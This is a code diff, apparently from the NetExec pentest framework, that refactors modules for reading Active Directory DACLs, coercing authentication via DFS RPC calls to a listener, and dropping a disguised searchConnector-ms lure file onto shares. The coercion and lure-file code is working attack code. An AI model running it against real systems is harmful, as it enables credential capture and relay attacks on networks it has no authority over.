"S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
|
||||
"S-1-5-32-559": "BUILTIN\\Performance Log Users",
|
||||
"S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
|
||||
"S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
|
||||
"S-1-5-32-562": "BUILTIN\\Distributed COM Users",
|
||||
"S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
|
||||
"S-1-5-32-573": "BUILTIN\\Event Log Readers",
|
||||
"S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
|
||||
"S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
|
||||
"S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
|
||||
"S-1-5-32-577": "BUILTIN\\RDS Management Servers",
|
||||
"S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
|
||||
"S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
|
||||
"S-1-5-32-580": "BUILTIN\\Remote Management Users",
|
||||
}
|
||||
|
||||
|
||||
@@ -188,15 +189,15 @@ class ALLOWED_OBJECT_ACE_MASK_FLAGS(Enum):
|
||||
|
||||
|
||||
class NXCModule:
|
||||
"""
|
||||
Module to read and backup the Discretionary Access Control List of one or multiple objects.
|
||||
"""Module to read and backup the Discretionary Access Control List of one or multiple objects.
|
||||
|
||||
This module is essentially inspired from the dacledit.py script of Impacket that we have coauthored, @_nwodtuhs and me.
|
||||
It has been converted to an LDAPConnection session, and improvements on the filtering and the ability to specify multiple targets have been added.
|
||||
It could be interesting to implement the write/remove functions here, but a ldap3 session instead of a LDAPConnection one is required to write.
|
||||
"""
|
||||
|
||||
name = "daclread"
|
||||
description = "Read and backup the Discretionary Access Control List of objects. Based on the work of @_nwodtuhs and @BlWasp_. Be carefull, this module cannot read the DACLS recursively, more explains in the options."
|
||||
description = "Read and backup the Discretionary Access Control List of objects. Be careful, this module cannot read the DACLS recursively, see more explanation in the options."
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True
|
||||
multiple_hosts = False
|
||||
@@ -207,29 +208,35 @@ class NXCModule:
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
Be carefull, this module cannot read the DACLS recursively. For example, if an object has particular rights because it belongs to a group, the module will not be able to see it directly, you have to check the group rights manually.
|
||||
TARGET The objects that we want to read or backup the DACLs, sepcified by its SamAccountName
|
||||
TARGET_DN The object that we want to read or backup the DACL, specified by its DN (usefull to target the domain itself)
|
||||
Be careful, this module cannot read the DACLS recursively.
|
||||
For example, if an object has particular rights because it belongs to a group, the module will not be able to see it directly, you have to check the group rights manually.
|
||||
|
||||
TARGET The objects that we want to read or backup the DACLs, specified by its SamAccountName
|
||||
TARGET_DN The object that we want to read or backup the DACL, specified by its DN (useful to target the domain itself)
|
||||
PRINCIPAL The trustee that we want to filter on
|
||||
ACTION The action to realise on the DACL (read, backup)
|
||||
ACE_TYPE The type of ACE to read (Allowed or Denied)
|
||||
RIGHTS An interesting right to filter on ('FullControl', 'ResetPassword', 'WriteMembers', 'DCSync')
|
||||
RIGHTS_GUID A right GUID that specify a particular rights to filter on
|
||||
|
||||
Based on the work of @_nwodtuhs and @BlWasp_.
|
||||
"""
|
||||
self.context = context
|
||||
context.log.debug(f"module_options: {module_options}")
|
||||
|
||||
if not module_options:
|
||||
context.log.fail("Select an option, example: -M daclread -o TARGET=Administrator ACTION=read")
|
||||
exit(1)
|
||||
sys.exit(1)
|
||||
|
||||
if module_options and "TARGET" in module_options:
|
||||
context.log.debug("There is a target specified!")
|
||||
if re.search(r"^(.+)\/([^\/]+)$", module_options["TARGET"]) is not None:
|
||||
try:
|
||||
self.target_file = open(module_options["TARGET"], "r")
|
||||
self.target_file = open(module_options["TARGET"]) # noqa: SIM115
|
||||
self.target_sAMAccountName = None
|
||||
except Exception as e:
|
||||
except Exception:
|
||||
context.log.fail("The file doesn't exist or cannot be openned.")
|
||||
else:
|
||||
context.log.debug(f"Setting target_sAMAccountName to {module_options['TARGET']}")
|
||||
self.target_sAMAccountName = module_options["TARGET"]
|
||||
self.target_file = None
|
||||
self.target_DN = None
|
||||
@@ -264,11 +271,9 @@ class NXCModule:
|
||||
self.filename = None
|
||||
|
||||
def on_login(self, context, connection):
|
||||
"""
|
||||
On a successful LDAP login we perform a search for the targets' SID, their Security Decriptors and the principal's SID if there is one specified
|
||||
"""
|
||||
|
||||
context.log.highlight("Be carefull, this module cannot read the DACLS recursively.")
|
||||
self.context = context
|
||||
"""On a successful LDAP login we perform a search for the targets' SID, their Security Descriptors and the principal's SID if there is one specified"""
|
||||
context.log.highlight("Be careful, this module cannot read the DACLS recursively.")
|
||||
self.baseDN = connection.ldapConnection._baseDN
|
||||
self.ldap_session = connection.ldapConnection
|
||||
|
||||
@@ -279,20 +284,16 @@ class NXCModule:
|
||||
self.principal_sid = format_sid(
|
||||
self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter="(sAMAccountName=%s)" % escape_filter_chars(_lookedup_principal),
|
||||
searchFilter=f"(sAMAccountName={escape_filter_chars(_lookedup_principal)})",
|
||||
attributes=["objectSid"],
|
||||
)[0][
|
||||
1
|
||||
][0][
|
||||
1
|
||||
][0]
|
||||
)[0][1][0][1][0]
|
||||
)
|
||||
context.log.highlight("Found principal SID to filter on: %s" % self.principal_sid)
|
||||
except Exception as e:
|
||||
context.log.fail("Principal SID not found in LDAP (%s)" % _lookedup_principal)
|
||||
exit(1)
|
||||
context.log.highlight(f"Found principal SID to filter on: {self.principal_sid}")
|
||||
except Exception:
|
||||
context.log.fail(f"Principal SID not found in LDAP ({_lookedup_principal})")
|
||||
sys.exit(1)
|
||||
|
||||
# Searching for the targets SID and their Security Decriptors
|
||||
# Searching for the targets SID and their Security Descriptors
|
||||
# If there is only one target
|
||||
if (self.target_sAMAccountName or self.target_DN) and self.target_file is None:
|
||||
# Searching for target account with its security descriptor
|
||||
@@ -302,10 +303,10 @@ class NXCModule:
|
||||
self.target_principal_dn = self.target_principal[0]
|
||||
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
|
||||
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
|
||||
context.log.highlight("Target principal found in LDAP (%s)" % self.target_principal[0])
|
||||
except Exception as e:
|
||||
context.log.fail("Target SID not found in LDAP (%s)" % self.target_sAMAccountName)
|
||||
exit(1)
|
||||
context.log.highlight(f"Target principal found in LDAP ({self.target_principal[0]})")
|
||||
except Exception:
|
||||
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
|
||||
sys.exit(1)
|
||||
|
||||
if self.action == "read":
|
||||
self.read(context)
|
||||
@@ -324,9 +325,9 @@ class NXCModule:
|
||||
self.target_principal_dn = self.target_principal[0]
|
||||
self.principal_raw_security_descriptor = str(self.target_principal[1][0][1][0]).encode("latin-1")
|
||||
self.principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=self.principal_raw_security_descriptor)
|
||||
context.log.highlight("Target principal found in LDAP (%s)" % self.target_sAMAccountName)
|
||||
except Exception as e:
|
||||
context.log.fail("Target SID not found in LDAP (%s)" % self.target_sAMAccountName)
|
||||
context.log.highlight(f"Target principal found in LDAP ({self.target_sAMAccountName})")
|
||||
except Exception:
|
||||
context.log.fail(f"Target SID not found in LDAP ({self.target_sAMAccountName})")
|
||||
continue
|
||||
|
||||
if self.action == "read":
|
||||
@@ -339,7 +340,6 @@ class NXCModule:
|
||||
def read(self, context):
|
||||
parsed_dacl = self.parse_dacl(context, self.principal_security_descriptor["Dacl"])
|
||||
self.print_parsed_dacl(context, parsed_dacl)
|
||||
return
|
||||
|
||||
# Permits to export the DACL of the targets
|
||||
# This function is called before any writing action (write, remove or restore)
|
||||
@@ -348,7 +348,7 @@ class NXCModule:
|
||||
backup["sd"] = binascii.hexlify(self.principal_raw_security_descriptor).decode("latin-1")
|
||||
backup["dn"] = str(self.target_principal_dn)
|
||||
if not self.filename:
|
||||
self.filename = "dacledit-%s-%s.bak" % (
|
||||
self.filename = "dacledit-{}-{}.bak".format(
|
||||
datetime.datetime.now().strftime("%Y%m%d-%H%M%S"),
|
||||
self.target_sAMAccountName,
|
||||
)
|
||||
@@ -366,7 +366,7 @@ class NXCModule:
|
||||
_lookedup_principal = self.target_sAMAccountName
|
||||
target = self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter="(sAMAccountName=%s)" % escape_filter_chars(_lookedup_principal),
|
||||
searchFilter=f"(sAMAccountName={escape_filter_chars(_lookedup_principal)})",
|
||||
attributes=["nTSecurityDescriptor"],
|
||||
searchControls=controls,
|
||||
)
|
||||
@@ -374,61 +374,54 @@ class NXCModule:
|
||||
_lookedup_principal = self.target_DN
|
||||
target = self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter="(distinguishedName=%s)" % _lookedup_principal,
|
||||
searchFilter=f"(distinguishedName={_lookedup_principal})",
|
||||
attributes=["nTSecurityDescriptor"],
|
||||
searchControls=controls,
|
||||
)
|
||||
try:
|
||||
self.target_principal = target[0]
|
||||
except Exception as e:
|
||||
context.log.fail("Principal not found in LDAP (%s), probably an LDAP session issue." % _lookedup_principal)
|
||||
exit(0)
|
||||
except Exception:
|
||||
context.log.fail(f"Principal not found in LDAP ({_lookedup_principal}), probably an LDAP session issue.")
|
||||
sys.exit(0)
|
||||
|
||||
# Attempts to retieve the SID and Distinguisehd Name from the sAMAccountName
|
||||
# Attempts to retrieve the SID and Distinguisehd Name from the sAMAccountName
|
||||
# Not used for the moment
|
||||
# - samname : a sAMAccountName
|
||||
def get_user_info(self, context, samname):
|
||||
self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter="(sAMAccountName=%s)" % escape_filter_chars(samname),
|
||||
searchFilter=f"(sAMAccountName={escape_filter_chars(samname)})",
|
||||
attributes=["objectSid"],
|
||||
)
|
||||
try:
|
||||
dn = self.ldap_session.entries[0].entry_dn
|
||||
sid = format_sid(self.ldap_session.entries[0]["objectSid"].raw_values[0])
|
||||
return dn, sid
|
||||
except Exception as e:
|
||||
context.log.fail("User not found in LDAP: %s" % samname)
|
||||
except Exception:
|
||||
context.log.fail(f"User not found in LDAP: {samname}")
|
||||
return False
|
||||
|
||||
# Attempts to resolve a SID and return the corresponding samaccountname
|
||||
# - sid : the SID to resolve
|
||||
def resolveSID(self, context, sid):
|
||||
# Tries to resolve the SID from the well known SIDs
|
||||
if sid in WELL_KNOWN_SIDS.keys():
|
||||
if sid in WELL_KNOWN_SIDS:
|
||||
return WELL_KNOWN_SIDS[sid]
|
||||
# Tries to resolve the SID from the LDAP domain dump
|
||||
else:
|
||||
try:
|
||||
dn = self.ldap_session.search(
|
||||
self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter="(objectSid=%s)" % sid,
|
||||
searchFilter=f"(objectSid={sid})",
|
||||
attributes=["sAMAccountName"],
|
||||
)[
|
||||
0
|
||||
][0]
|
||||
samname = self.ldap_session.search(
|
||||
)[0][0]
|
||||
return self.ldap_session.search(
|
||||
searchBase=self.baseDN,
|
||||
searchFilter="(objectSid=%s)" % sid,
|
||||
searchFilter=f"(objectSid={sid})",
|
||||
attributes=["sAMAccountName"],
|
||||
)[0][
|
||||
1
|
||||
][0][
|
||||
1
|
||||
][0]
|
||||
return samname
|
||||
except Exception as e:
|
||||
context.log.debug("SID not found in LDAP: %s" % sid)
|
||||
)[0][1][0][1][0]
|
||||
except Exception:
|
||||
context.log.debug(f"SID not found in LDAP: {sid}")
|
||||
return ""
|
||||
|
||||
# Parses a full DACL
|
||||
@@ -445,17 +438,12 @@ class NXCModule:
|
||||
|
||||
# Parses an access mask to extract the different values from a simple permission
|
||||
# https://stackoverflow.com/questions/28029872/retrieving-security-descriptor-and-getting-number-for-filesystemrights
|
||||
# - fsr : the access mask to parse
|
||||
def parse_perms(self, fsr):
|
||||
_perms = []
|
||||
for PERM in SIMPLE_PERMISSIONS:
|
||||
if (fsr & PERM.value) == PERM.value:
|
||||
_perms.append(PERM.name)
|
||||
fsr = fsr & (not PERM.value)
|
||||
for PERM in ACCESS_MASK:
|
||||
if fsr & PERM.value:
|
||||
_perms.append(PERM.name)
|
||||
return _perms
|
||||
def parse_perms(self, access_mask):
|
||||
perms = [PERM.name for PERM in SIMPLE_PERMISSIONS if (access_mask & PERM.value) == PERM.value]
|
||||
# use bitwise NOT operator (~) and sum() function to clear the bits that have been processed
|
||||
access_mask &= ~sum(PERM.value for PERM in SIMPLE_PERMISSIONS if (access_mask & PERM.value) == PERM.value)
|
||||
perms += [PERM.name for PERM in ACCESS_MASK if access_mask & PERM.value]
|
||||
return perms
|
||||
|
||||
# Parses a specified ACE and extract the different values (Flags, Access Mask, Trustee, ObjectType, InheritedObjectType)
|
||||
# - ace : the ACE to parse
|
||||
@@ -467,86 +455,59 @@ class NXCModule:
|
||||
"ACCESS_DENIED_ACE",
|
||||
"ACCESS_DENIED_OBJECT_ACE",
|
||||
]:
|
||||
parsed_ace = {}
|
||||
parsed_ace["ACE Type"] = ace["TypeName"]
|
||||
# Retrieves ACE's flags
|
||||
_ace_flags = []
|
||||
for FLAG in ACE_FLAGS:
|
||||
if ace.hasFlag(FLAG.value):
|
||||
_ace_flags.append(FLAG.name)
|
||||
parsed_ace["ACE flags"] = ", ".join(_ace_flags) or "None"
|
||||
_ace_flags = [FLAG.name for FLAG in ACE_FLAGS if ace.hasFlag(FLAG.value)]
|
||||
parsed_ace = {"ACE Type": ace["TypeName"], "ACE flags": ", ".join(_ace_flags) or "None"}
|
||||
|
||||
# For standard ACE
|
||||
# Extracts the access mask (by parsing the simple permissions) and the principal's SID
|
||||
if ace["TypeName"] in ["ACCESS_ALLOWED_ACE", "ACCESS_DENIED_ACE"]:
|
||||
parsed_ace["Access mask"] = "%s (0x%x)" % (
|
||||
", ".join(self.parse_perms(ace["Ace"]["Mask"]["Mask"])),
|
||||
ace["Ace"]["Mask"]["Mask"],
|
||||
)
|
||||
parsed_ace["Trustee (SID)"] = "%s (%s)" % (
|
||||
self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
|
||||
ace["Ace"]["Sid"].formatCanonical(),
|
||||
)
|
||||
|
||||
# For object-specific ACE
|
||||
elif ace["TypeName"] in [
|
||||
"ACCESS_ALLOWED_OBJECT_ACE",
|
||||
"ACCESS_DENIED_OBJECT_ACE",
|
||||
]:
|
||||
access_mask = f"{', '.join(self.parse_perms(ace['Ace']['Mask']['Mask']))} (0x{ace['Ace']['Mask']['Mask']:x})"
|
||||
trustee_sid = f"{self.resolveSID(context, ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
|
||||
parsed_ace = {
|
||||
"Access mask": access_mask,
|
||||
"Trustee (SID)": trustee_sid
|
||||
}
|
||||
elif ace["TypeName"] in ["ACCESS_ALLOWED_OBJECT_ACE", "ACCESS_DENIED_OBJECT_ACE"]: # for object-specific ACE
|
||||
# Extracts the mask values. These values will indicate the ObjectType purpose
|
||||
_access_mask_flags = []
|
||||
for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS:
|
||||
if ace["Ace"]["Mask"].hasPriv(FLAG.value):
|
||||
_access_mask_flags.append(FLAG.name)
|
||||
parsed_ace["Access mask"] = ", ".join(_access_mask_flags)
|
||||
access_mask_flags = [FLAG.name for FLAG in ALLOWED_OBJECT_ACE_MASK_FLAGS if ace["Ace"]["Mask"].hasPriv(FLAG.value)]
|
||||
parsed_ace["Access mask"] = ", ".join(access_mask_flags)
|
||||
# Extracts the ACE flag values and the trusted SID
|
||||
_object_flags = []
|
||||
for FLAG in OBJECT_ACE_FLAGS:
|
||||
if ace["Ace"].hasFlag(FLAG.value):
|
||||
_object_flags.append(FLAG.name)
|
||||
parsed_ace["Flags"] = ", ".join(_object_flags) or "None"
|
||||
object_flags = [FLAG.name for FLAG in OBJECT_ACE_FLAGS if ace["Ace"].hasFlag(FLAG.value)]
|
||||
parsed_ace["Flags"] = ", ".join(object_flags) or "None"
|
||||
# Extracts the ObjectType GUID values
|
||||
if ace["Ace"]["ObjectTypeLen"] != 0:
|
||||
obj_type = bin_to_string(ace["Ace"]["ObjectType"]).lower()
|
||||
try:
|
||||
parsed_ace["Object type (GUID)"] = "%s (%s)" % (
|
||||
OBJECT_TYPES_GUID[obj_type],
|
||||
obj_type,
|
||||
)
|
||||
parsed_ace["Object type (GUID)"] = f"{OBJECT_TYPES_GUID[obj_type]} ({obj_type})"
|
||||
except KeyError:
|
||||
parsed_ace["Object type (GUID)"] = "UNKNOWN (%s)" % obj_type
|
||||
parsed_ace["Object type (GUID)"] = f"UNKNOWN ({obj_type})"
|
||||
# Extracts the InheritedObjectType GUID values
|
||||
if ace["Ace"]["InheritedObjectTypeLen"] != 0:
|
||||
inh_obj_type = bin_to_string(ace["Ace"]["InheritedObjectType"]).lower()
|
||||
try:
|
||||
parsed_ace["Inherited type (GUID)"] = "%s (%s)" % (
|
||||
OBJECT_TYPES_GUID[inh_obj_type],
|
||||
inh_obj_type,
|
||||
)
|
||||
parsed_ace["Inherited type (GUID)"] = f"{OBJECT_TYPES_GUID[inh_obj_type]} ({inh_obj_type})"
|
||||
except KeyError:
|
||||
parsed_ace["Inherited type (GUID)"] = "UNKNOWN (%s)" % inh_obj_type
|
||||
parsed_ace["Inherited type (GUID)"] = f"UNKNOWN ({inh_obj_type})"
|
||||
# Extract the Trustee SID (the object that has the right over the DACL bearer)
|
||||
parsed_ace["Trustee (SID)"] = "%s (%s)" % (
|
||||
parsed_ace["Trustee (SID)"] = "{} ({})".format(
|
||||
self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
|
||||
ace["Ace"]["Sid"].formatCanonical(),
|
||||
)
|
||||
|
||||
else:
|
||||
# If the ACE is not an access allowed
|
||||
context.log.debug("ACE Type (%s) unsupported for parsing yet, feel free to contribute" % ace["TypeName"])
|
||||
parsed_ace = {}
|
||||
parsed_ace["ACE type"] = ace["TypeName"]
|
||||
_ace_flags = []
|
||||
for FLAG in ACE_FLAGS:
|
||||
if ace.hasFlag(FLAG.value):
|
||||
_ace_flags.append(FLAG.name)
|
||||
parsed_ace["ACE flags"] = ", ".join(_ace_flags) or "None"
|
||||
parsed_ace["DEBUG"] = "ACE type not supported for parsing by dacleditor.py, feel free to contribute"
|
||||
else: # if the ACE is not an access allowed
|
||||
context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
|
||||
_ace_flags = [FLAG.name for FLAG in ACE_FLAGS if ace.hasFlag(FLAG.value)]
|
||||
parsed_ace = {
|
||||
"ACE type": ace["TypeName"],
|
||||
"ACE flags": ", ".join(_ace_flags) or "None",
|
||||
"DEBUG": "ACE type not supported for parsing by dacleditor.py, feel free to contribute",
|
||||
}
|
||||
return parsed_ace
|
||||
|
||||
# Prints a full DACL by printing each parsed ACE
|
||||
# - parsed_dacl : a parsed DACL from parse_dacl()
|
||||
def print_parsed_dacl(self, context, parsed_dacl):
|
||||
"""Prints a full DACL by printing each parsed ACE
|
||||
|
||||
parsed_dacl : a parsed DACL from parse_dacl()
|
||||
"""
|
||||
context.log.debug("Printing parsed DACL")
|
||||
i = 0
|
||||
# If a specific right or a specific GUID has been specified, only the ACE with this right will be printed
|
||||
@@ -554,6 +515,8 @@ class NXCModule:
|
||||
# If a principal has been specified, only the ACE where he is the trustee will be printed
|
||||
for parsed_ace in parsed_dacl:
|
||||
print_ace = True
|
||||
context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
|
||||
|
||||
# Filter on specific rights
|
||||
if self.rights is not None:
|
||||
try:
|
||||
@@ -566,7 +529,7 @@ class NXCModule:
|
||||
if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
|
||||
# Filter on specific right GUID
|
||||
if self.rights_guid is not None:
|
||||
@@ -574,7 +537,7 @@ class NXCModule:
|
||||
if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
|
||||
# Filter on ACE type
|
||||
if self.ace_type == "allowed":
|
||||
@@ -582,13 +545,13 @@ class NXCModule:
|
||||
if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
else:
|
||||
try:
|
||||
if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
|
||||
# Filter on trusted principal
|
||||
if self.principal_sid is not None:
|
||||
@@ -596,7 +559,7 @@ class NXCModule:
|
||||
if self.principal_sid not in parsed_ace["Trustee (SID)"]:
|
||||
print_ace = False
|
||||
except Exception as e:
|
||||
context.log.fail("Error filtering ACE, probably because of ACE type unsupported for parsing yet (%s)" % e)
|
||||
context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
|
||||
if print_ace:
|
||||
self.context.log.highlight("%-28s" % "ACE[%d] info" % i)
|
||||
self.print_parsed_ace(parsed_ace)
|
||||
|
||||
+20
-30
@@ -1,11 +1,8 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
from impacket import system_errors
|
||||
from impacket.dcerpc.v5 import transport
|
||||
from impacket.dcerpc.v5.ndr import NDRCALL
|
||||
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
from nxc.logger import nxc_logger
|
||||
|
||||
@@ -23,9 +20,7 @@ class NXCModule:
|
||||
self.listener = None
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
LISTENER Listener Address (defaults to 127.0.0.1)
|
||||
"""
|
||||
"""LISTENER Listener Address (defaults to 127.0.0.1)"""
|
||||
self.listener = "127.0.0.1"
|
||||
if "LISTENER" in module_options:
|
||||
self.listener = module_options["LISTENER"]
|
||||
@@ -38,9 +33,9 @@ class NXCModule:
|
||||
domain=connection.domain,
|
||||
lmhash=connection.lmhash,
|
||||
nthash=connection.nthash,
|
||||
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
|
||||
target=connection.host,
|
||||
doKerberos=connection.kerberos,
|
||||
dcHost=connection.kdcHost,
|
||||
kdcHost=connection.kdcHost,
|
||||
aesKey=connection.aesKey,
|
||||
)
|
||||
|
||||
@@ -64,13 +59,9 @@ class DCERPCSessionError(DCERPCException):
|
||||
if key in system_errors.ERROR_MESSAGES:
|
||||
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
|
||||
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
|
||||
return "DFSNM SessionError: code: 0x%x - %s - %s" % (
|
||||
self.error_code,
|
||||
error_msg_short,
|
||||
error_msg_verbose,
|
||||
)
|
||||
return f"DFSNM SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
|
||||
else:
|
||||
return "DFSNM SessionError: unknown error code: 0x%x" % self.error_code
|
||||
return f"DFSNM SessionError: unknown error code: 0x{self.error_code:x}"
|
||||
|
||||
|
||||
################################################################################
|
||||
@@ -104,8 +95,9 @@ class NetrDfsAddRootResponse(NDRCALL):
|
||||
|
||||
|
||||
class TriggerAuth:
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
|
||||
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, kdcHost):
|
||||
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
|
||||
rpctransport.setRemoteHost(target)
|
||||
if hasattr(rpctransport, "set_credentials"):
|
||||
rpctransport.set_credentials(
|
||||
username=username,
|
||||
@@ -117,23 +109,23 @@ class TriggerAuth:
|
||||
)
|
||||
|
||||
if doKerberos:
|
||||
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
|
||||
# if target:
|
||||
# rpctransport.setRemoteHost(target)
|
||||
rpctransport.set_kerberos(doKerberos, kdcHost)
|
||||
|
||||
rpctransport.setRemoteHost(target)
|
||||
dce = rpctransport.get_dce_rpc()
|
||||
nxc_logger.debug("[-] Connecting to %s" % r"ncacn_np:%s[\PIPE\netdfs]" % target)
|
||||
if doKerberos:
|
||||
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
|
||||
|
||||
nxc_logger.debug("[-] Connecting to {}".format(r"ncacn_np:%s[\PIPE\netdfs]") % target)
|
||||
try:
|
||||
dce.connect()
|
||||
except Exception as e:
|
||||
nxc_logger.debug("Something went wrong, check error status => %s" % str(e))
|
||||
return
|
||||
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return None
|
||||
try:
|
||||
dce.bind(uuidtup_to_bin(("4FC742E0-4A10-11CF-8273-00AA004AE673", "3.0")))
|
||||
except Exception as e:
|
||||
nxc_logger.debug("Something went wrong, check error status => %s" % str(e))
|
||||
return
|
||||
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
|
||||
return None
|
||||
nxc_logger.debug("[+] Successfully bound!")
|
||||
return dce
|
||||
|
||||
@@ -141,13 +133,11 @@ class TriggerAuth:
|
||||
nxc_logger.debug("[-] Sending NetrDfsRemoveStdRoot!")
|
||||
try:
|
||||
request = NetrDfsRemoveStdRoot()
|
||||
request["ServerName"] = "%s\x00" % listener
|
||||
request["ServerName"] = f"{listener}\x00"
|
||||
request["RootShare"] = "test\x00"
|
||||
request["ApiFlags"] = 1
|
||||
if self.args.verbose:
|
||||
nxc_logger.debug(request.dump())
|
||||
# logger.debug(request.dump())
|
||||
resp = dce.request(request)
|
||||
nxc_logger.debug(request.dump())
|
||||
dce.request(request)
|
||||
|
||||
except Exception as e:
|
||||
nxc_logger.debug(e)
|
||||
+19
-24
@@ -1,6 +1,3 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
import ntpath
|
||||
import tempfile
|
||||
|
||||
@@ -47,22 +44,21 @@ class NXCModule:
|
||||
self.file_path = ntpath.join("\\", f"{self.filename}.searchConnector-ms")
|
||||
if not self.cleanup:
|
||||
self.scfile_path = f"{tempfile.gettempdir()}/{self.filename}.searchConnector-ms"
|
||||
scfile = open(self.scfile_path, "w")
|
||||
scfile.truncate(0)
|
||||
scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
|
||||
scfile.write("<searchConnectorDescription" ' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">')
|
||||
scfile.write("<description>Microsoft Outlook</description>")
|
||||
scfile.write("<isSearchOnlyItem>false</isSearchOnlyItem>")
|
||||
scfile.write("<includeInStartMenuScope>true</includeInStartMenuScope>")
|
||||
scfile.write(f"<iconReference>{self.url}/0001.ico</iconReference>")
|
||||
scfile.write("<templateInfo>")
|
||||
scfile.write("<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>")
|
||||
scfile.write("</templateInfo>")
|
||||
scfile.write("<simpleLocation>")
|
||||
scfile.write("<url>{}</url>".format(self.url))
|
||||
scfile.write("</simpleLocation>")
|
||||
scfile.write("</searchConnectorDescription>")
|
||||
scfile.close()
|
||||
with open(self.scfile_path, "w") as scfile:
|
||||
scfile.truncate(0)
|
||||
scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
|
||||
scfile.write("<searchConnectorDescription" ' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">') # noqa ISC001
|
||||
scfile.write("<description>Microsoft Outlook</description>")
|
||||
scfile.write("<isSearchOnlyItem>false</isSearchOnlyItem>")
|
||||
scfile.write("<includeInStartMenuScope>true</includeInStartMenuScope>")
|
||||
scfile.write(f"<iconReference>{self.url}/0001.ico</iconReference>")
|
||||
scfile.write("<templateInfo>")
|
||||
scfile.write("<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>")
|
||||
scfile.write("</templateInfo>")
|
||||
scfile.write("<simpleLocation>")
|
||||
scfile.write(f"<url>{self.url}</url>")
|
||||
scfile.write("</simpleLocation>")
|
||||
scfile.write("</searchConnectorDescription>")
|
||||
|
||||
def on_login(self, context, connection):
|
||||
shares = connection.shares()
|
||||
